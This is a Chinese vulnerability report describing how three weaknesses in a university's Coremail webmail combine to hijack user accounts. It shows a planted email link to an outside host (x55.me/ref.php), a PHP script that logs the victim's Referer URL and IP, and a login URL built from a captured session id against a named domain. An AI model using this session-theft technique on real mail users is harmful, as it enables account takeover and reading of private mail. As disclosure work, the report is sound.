### 简要描述:
几个小的问题的组合导致可劫持指定用户账号
### 详细说明:
测试对象: 使用Coremail邮件系统的某大学邮件系统
测试地址: http://mail.**.edu.cn
问题描述: 这个问题由几个小问题的组合所导致。
第一个问题:
Coremail邮件系统在用户登录成功后,会给用户分配一个32位大小写字母混搭的sid用于用户身份验证。只要用户没有logout,这个sid都不会被销毁且会作为参数出现在用户主界面的URL里,如下图所示。我们一旦获取了sid,就意味着我们可以盗用用户身份去登录用户邮箱。
[<img src="https://images.seebug.org/upload/201407/231425243ff48c551168f0b206fada8e3311bf7c.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/231425243ff48c551168f0b206fada8e3311bf7c.jpg)
第二个问题:
就像第一个问题描述的那样,很多用于验证权限的参数和参数的值都会通过URL进行传递。当我们在邮件中插入我们远程服务器上的图片,如下图:
[<img src="https://images.seebug.org/upload/201407/2314262281c516f2bfcd73ffe9554c58c2a15b79.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/2314262281c516f2bfcd73ffe9554c58c2a15b79.jpg)
并试图从referer中获取当前邮件的ssid,mid等等时发现获取的referer是空的。
```
ref: IP:210.39.***>.*** Time:2014.05.24 09:57:23
```
继续再换一个方法,我们放弃插入图片,改用Anchor:
<a href="//x55.me/ref.php">click me babe</a>
当用户点击我们加入到到邮件里的链接后,从下图可以看到我们获取了完整的URL,如下图:
[<img src="https://images.seebug.org/upload/201407/23142706ea1f9886d37e80d1615a6ce6f5ec0072.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/23142706ea1f9886d37e80d1615a6ce6f5ec0072.jpg)
URL当中包含了,我们需要阅读这封邮件时的各种验证参数及其值。我们现在切换浏览器试图打开我们收到的referer。测试结果可成功读取邮件内容,如下图:
[<img src="https://images.seebug.org/upload/201407/231427203cdd0e8c3266ffaf82ff7833ed3680c8.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/231427203cdd0e8c3266ffaf82ff7833ed3680c8.jpg)
这里你可能会觉得,读取了自己发送的邮件有什么用。请慢慢往下看。
第三个问题
在问题二中,我们试图加入网络图片在邮件当中。现在我们试试上传本地图片功能。我们现在通过上传图片功能在邮件里上传一个图片并发送给受害者。最后再来看看邮件源码里的图片的地址。
```
<img identifier="img_identifier_1400908716094" src="/coremail/s?func=user:proxyGet&sid=BARrNLUUUlAwDLwyDaUUqmrWcdUAhYrj&mid=1:1tbiAQAOBVC9aUS31AAEst&url=%2Fcoremail%2FXJS%2Fimages%2Fing_yellow.gif">
```
从图中不难想像这里做了一个权限验证。如果你想要访问我们服务器上的被上传的文件,最起码你得是我们的用户。所以就要验证一下sid。
现在我们将这三个问题整合一下,描述一下大概的攻击流程:
1.给目标用户发送一个邮件。邮件里添加一个超级链接,地址为: http://x55.me/ref.php
ref.php的内容很简单:
```
<?php
file_put_contents("test.txt", " ref:".$_SERVER["HTTP_REFERER"], FILE_APPEND);
file_put_contents("test.txt", " IP:".$_SERVER["REMOTE_ADDR"], FILE_APPEND);
file_put_contents("test.txt", " Time:".date("Y.m.d H:i:s")."\r\n",FILE_APPEND);
?>
```
这一步是为了通过远程图片,获取referer进而盗取当前邮件的ssid,mid等等进而达到阅读用户邮件的目的。
然后我们在邮件里,通过上传本地图片的方式,上传一个图片文件。这一步骤是为了,让邮件里包含用户的sid。这样一来我们在越权阅读邮件时就可以窃取到用户sid进而劫持用户账号了。
### 漏洞证明:
发送符合上述描述的邮件:
[<img src="https://images.seebug.org/upload/201407/231427410dd164b76cc88c4e55760bdd393712b1.jpg" alt="5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/231427410dd164b76cc88c4e55760bdd393712b1.jpg)
用户点击后,查看收到的referer:
[<img src="https://images.seebug.org/upload/201407/2314275653ddfc2c7332cd16c924a40783e7498f.jpg" alt="6.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/2314275653ddfc2c7332cd16c924a40783e7498f.jpg)
在别的浏览器里打开referer中的URL,查看html源码里的sid:
[<img src="https://images.seebug.org/upload/201407/2314281343ab4669137bfe01afe5fe4fa8f2bea3.jpg" alt="7.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/2314281343ab4669137bfe01afe5fe4fa8f2bea3.jpg)
最后构造URL:mail.szu.edu.cn/coremail/XJS/index.jsp?sid=这里是刚才截获的sid
,并成功登录
[<img src="https://images.seebug.org/upload/201407/2314282101de4df6de7902248578dc5cb4de0d95.jpg" alt="8.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/2314282101de4df6de7902248578dc5cb4de0d95.jpg)
暂无评论